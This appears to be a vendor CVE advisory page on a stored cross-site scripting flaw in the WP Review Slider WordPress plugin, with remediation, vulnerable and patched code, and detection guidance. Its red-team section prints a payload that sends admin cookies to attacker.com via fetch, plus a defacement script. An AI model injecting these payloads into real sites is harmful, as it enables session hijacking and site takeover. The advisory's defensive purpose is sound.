☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2023-6456

CVE-2023-6456 Cross-Site Scripting in Wp review slider
📅 PUBLISHED: 2024-01-22 19:14 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.09%
👁️
0.09% probability
2.2× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2023-6456 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Review Slider WordPress plugin, affecting versions prior to 13.0. The plugin fails to properly sanitize and escape certain settings, allowing high-privilege users (e.g., administrators) to inject arbitrary JavaScript. This attack can succeed even when the unfiltered_html capability is disallowed, such as in multisite configurations. Successful exploitation can lead to session hijacking, defacement, or redirection of users to malicious sites.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository. Users should verify the integrity of the plugin by checking the SHA-256 hash against the official release. No known supply chain compromise has been reported for this specific CVE.

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (NVD) / Calculated: 4.8 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: High (Admin)
  • User Interaction: Required (Victim visits admin page)
  • Scope: Changed
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. Exploitation requires admin-level access, but the impact is amplified in multisite environments where lower-privilege admins can inject scripts.

Deep Dive & Mechanics

The vulnerability exists in the plugin's settings page, where user-supplied input is stored without proper sanitization or output escaping. When an admin saves a setting containing malicious JavaScript, the payload is stored in the WordPress database. Subsequently, when the settings page is rendered, the unsanitized input is echoed directly into the HTML, executing the script in the context of the victim's browser.

Root Cause: The plugin uses echo or similar functions to output settings values without applying esc_html(), wp_kses(), or similar WordPress escaping functions.

Attack Flow:

  1. Attacker with admin privileges navigates to the WP Review Slider settings page.
  2. Attacker injects a payload like <script>alert('XSS')</script> into a vulnerable setting field.
  3. The plugin stores the payload in the wp_options table.
  4. When any admin (including the attacker) visits the settings page, the payload is rendered and executed.

Vulnerable vs. Patched Code

Vulnerable Code (version < 13.0):

// In settings page rendering
echo '<input type="text" name="wprs_setting" value="' . $setting_value . '" />';

Patched Code (version 13.0):

// Properly escaped
echo '<input type="text" name="wprs_setting" value="' . esc_attr( $setting_value ) . '" />';

The patch adds esc_attr() to escape the attribute value, preventing XSS.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • WordPress instance with WP Review Slider < 13.0
  • Admin-level credentials

Steps:

  1. Log in as an admin.
  2. Navigate to WP Review Slider > Settings.
  3. Locate a text input field (e.g., "Slider Title").
  4. Inject the following payload:
    "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  5. Save the settings.
  6. When another admin visits the settings page, the script executes, exfiltrating cookies.

Alternative Payload (for defacement):

"><script>document.body.innerHTML='<h1>Hacked</h1>'</script>

Blue Team (Defensive)

Detection:

  • Monitor for unusual admin activity on the settings page.
  • Look for HTTP requests containing <script> tags in POST data to /wp-admin/admin.php?page=wp-review-slider.

Prevention:

  • Ensure the plugin is updated to version 13.0 or later.
  • Implement Web Application Firewall (WAF) rules to block XSS patterns.
  • Restrict admin access to trusted users only.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/wp-review-slider/wp-review-slider.php (version < 13.0)
  • Database: Rows in wp_options with option_name containing wprs_ and option_value containing <script> tags.
  • Network: Outbound HTTP requests to attacker-controlled domains from admin browsers.
  • Logs: WordPress debug log entries showing wp_ajax_wprs_save_settings with suspicious input.

Detection Engineering

YARA Rule

YARA RULE
wp_review_slider_xss_cve_2023_6456
Detects vulnerable WP Review Slider plugin files
Reference: CVE-2023-6456
🔒 Detection logic available via the ValtersIT API — moved there in response to large-scale automated scraping.[ GET API ACCESS ] →

Sigma Rule

SIGMA RULE
WP Review Slider Stored XSS Attempt
Detects XSS payloads in WP Review Slider settings POST requests
Logsource: apache · webserver  high
🔒 Detection logic available via the ValtersIT API — moved there in response to large-scale automated scraping.[ GET API ACCESS ] →

Suricata Rule

SURICATA IDS RULE
CVE-2023-6456 WP Review Slider Stored XSS
Protocol: HTTP · SID 1000001
🔒 Detection logic available via the ValtersIT API — moved there in response to large-scale automated scraping.[ GET API ACCESS ] →

Remediation & Mitigation

Immediate:

  1. Update the WP Review Slider plugin to version 13.0 or later.
  2. If immediate update is not possible, disable the plugin temporarily.

Long-term:

  • Implement a Content Security Policy (CSP) header to restrict script execution.
  • Regularly audit WordPress plugins for known vulnerabilities.
  • Enforce the principle of least privilege for admin accounts.

Workaround:

  • Use a WAF to block XSS payloads in POST requests to the plugin's settings page.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

Security researchers use these queries on Shodan.io to find vulnerable systems globally.

🔒 2 Shodan dorks available

Full Shodan queries for this CVE are available through the ValtersIT API. They were moved behind the API in response to large-scale automated scraping, and to keep this independently-researched intelligence sustainable. The written analysis above remains fully open.

[ GET API ACCESS ] → Available on all plans · from €19/mo (founding)

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2023-6456/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.